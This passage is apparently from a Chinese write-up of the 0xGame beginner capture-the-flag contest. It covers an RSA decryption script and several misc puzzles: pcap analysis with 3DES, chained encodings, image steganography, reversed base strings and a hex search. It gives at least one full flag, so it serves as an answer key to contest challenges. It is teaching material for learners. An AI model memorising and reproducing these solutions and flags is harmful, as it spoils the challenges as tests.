63474536532432933413060491102819225674451641489419832762146124668255354083473291
68059525194293887765980304265393065817721649029230291400285108776212345088173025
97008112380293895652938964720761299193541705748669586055114709614928841209888319
74646358309340070961454727694095336885742412149435452232122377828799476328468256
6699629595310657706146377
```

得到p,q的值之后,就可以解密了。

```
from Crypto.Util.number import *
p =
50838589287086911007779591165058873336808804380735879594415898172608573920954262
80573595409516065652457557087257582498766032467943842309357363106558257787135298
63388382931243132037573568857751260586926644085567688283743118870085604639878218
27423282115523941599444908325154156890888119464967818843364212817837804030893836
34369539994631626195420357561861396522278697114564263369128050977173067291911354
418900362132140587209993
q =
63664773832569677519706020487576843169045402921673855238268912740885144405056606
34745365324329334130604911028192256744516414894198327621461246682553540834732916
80595251942938877659803042653930658177216490292302914002851087762123450881730259
70081123802938956529389647207612991935417057486695860551147096149288412098883197
46463583093400709614547276940953368857424121494354522321223778287994763284682566
699629595310657706146377
e = 906371
phi, n = (p-1)*(q-1), p*q
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
```

这道题好像还可以用z3做,在此处不多加介绍。我看到很多学弟学妹用二次方程求根公式  $x_{1,2} = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}$ ,但不知道如何开根号。实际上如果非得要这么做的话,建议安装一下 gmpy2 库,使用里面的 i root 函数求解。当然,如果你不下包,那就利用幂函数单调性,二分求解平方根。

### Misc

### **EasyPcap**

根据题目描述,我们需要对流量进行分析,找出这个网络诊断操作以及目标IP,并进行3DES加密。直接百度输入关键词: 网络诊断操作,可以得到候选结果: ping(网络诊断工具)\_百度百科,阅读概念以及对应流量包中的info栏,的确有ping这个命令存在于流量中,那么题目所需求的命令就是 ping。我们知道,对一个地址的访问,需要发送请求,当然也要收到响应。题目需要的是我们发出请求时的目标IP,对应的是info里的request的 destination IP。也就是 185.199.108.153。

好了,IP和命令都找到了,接下来只需要进行3DES加密了。使用百度键入关键词:3DES加密,进入第一个候选结果给出的网站:<a href="http://tool.chacuo.net/crypt3des">http://tool.chacuo.net/crypt3des</a>

由于是新生赛题,无需调试复杂的参数诸如: 3DES加密模式、填充、偏移量、字符集。题目描述更新后,我们更是直接知道了输出的只需要是hex结果。

轻松地得到了flag: ec6d199865663767741e27953653206e,使用0xGame{}包裹起来,提交。

#### **ENCODE**

看到佛经,如果是上网冲浪多年的老油条,应该能马上知道这是与佛论禅,小时候传播资源时经常为了绕过敏感词汇、危险连接而使用的经典操作。进入新与佛论禅在线解码网站,解码得到的是宣传片里黄眉怪反复对我们洗脑重复n多遍的经典台词:既见未来,为何不拜?对于接触过简单的misc题的选手来说,能够认出这是Ook编码并进行批量替换是难能可贵的。不过得到hint以后,我们可以轻易地将中文文本进行批量替换为Ook,再进入在线brainfuck Ook解码网站进行解码。最后得到一串啥都不懂的东西。我们有无敌的搜索引擎。可以将#@~^这个开头或者整串东西扔到google里,理应能顺藤摸瓜找到这个是VBS加密。直接解密之,轻松得到flag。

### **EasyAlpha**

送分题,接触过图片相关简单题目的同学应该能瞬间fuzz出这个题,遇事不决扔winhex,没什么信息。考虑隐写,马上扔stegsolve改滤镜看看,在alpha plane下直接得到flag了。后面的一系列深入fuzz也免了。轻松加愉快。

### dlohesuoHesaB

简单的base全家桶。阅读一下题目名字和附件给出的文件名会发现反过来读才有意义。题目是倒序的 BaseHousehold,顾名思义base全家桶。附件的文本是倒序的secret。使用jdk也好使用python也好轻 松逆个序

```
with open('terces.txt','r') as f1:
    s = f1.read()
with open('flag.txt','w') as f2:
    f2.write(s[::-1])
```

轻松得到倒序后的串,也许之后会有倒序,但先不管。尝试解base全家桶,对base烂熟于心的同学应该能肉眼看穿所有base编码,但看不穿也无所谓,我们有自动破解脚本,或者查看hint,直接告诉我们可以用basecrack爆破,0.26秒就能得到flag。轻松配置好脚本后,直接一条命令下去

```
python basecrack.py -m
```

并粘贴逆序后的串, flag会在0.26秒内送到手中。

## **Hamburger Souls**

送分题。看题目描述:两面包夹flag,没什么感觉。如果是之前在BUU刷过题的同学可以轻松联想到一道简单题:我吃三明治。该题解法为:扔进16进制编辑器搜索字符串flag,即可直接得到flag。这就是换了个图片的原题而已。在0xGame中我们当然要搜索0xGame格式的flag。轻松得到了flag。